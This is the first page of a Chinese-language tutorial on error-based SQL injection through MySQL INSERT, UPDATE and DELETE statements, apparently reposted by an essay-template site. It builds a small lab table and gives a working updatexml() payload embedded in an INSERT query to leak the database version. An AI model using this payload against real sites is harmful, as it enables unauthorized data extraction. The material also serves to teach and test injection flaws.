1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > mysql 注入 update_利用insert update和delete注入获取数据_MySQL

mysql 注入 update_利用insert update和delete注入获取数据_MySQL

时间:2020-06-28 13:53:35

相关推荐

mysql 注入 update_利用insert update和delete注入获取数据_MySQL

0x00 简介

利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。

0x01 环境搭建

为了更好的演示注射效果,我们先利用下面的语句创建原始数据:create database newdb;use newdb; create table users(id int(3) not null auto_increment,username varchar(20) not null,password varchar(20) not null, primary key (id)); insert into users values(1,'Jane','Eyre');

看一下当前数据结构:

0x02 注入语法

因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:insert into users (id, username, password) values (2,''inject here'','Olivia'); insert into users (id, username, password) values (2,""inject here"",'Olivia');

注意:大家看到本来是要填入username字段的地方,我们填了'inject here'和”inject here”两个字段来实现爆错,一个是单引号包含、一个是双引号包含,要根据实际的注入点灵活构造。

0x03 利用updatexml()获取数据

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:or updatexml(1,concat(0x7e,(version())),0) or

Insert:INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');

[1] [2] [3] [4] [5] [6] 下一页

相关标签:

发布php中文网,转载请注明出处,感谢您的尊重!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。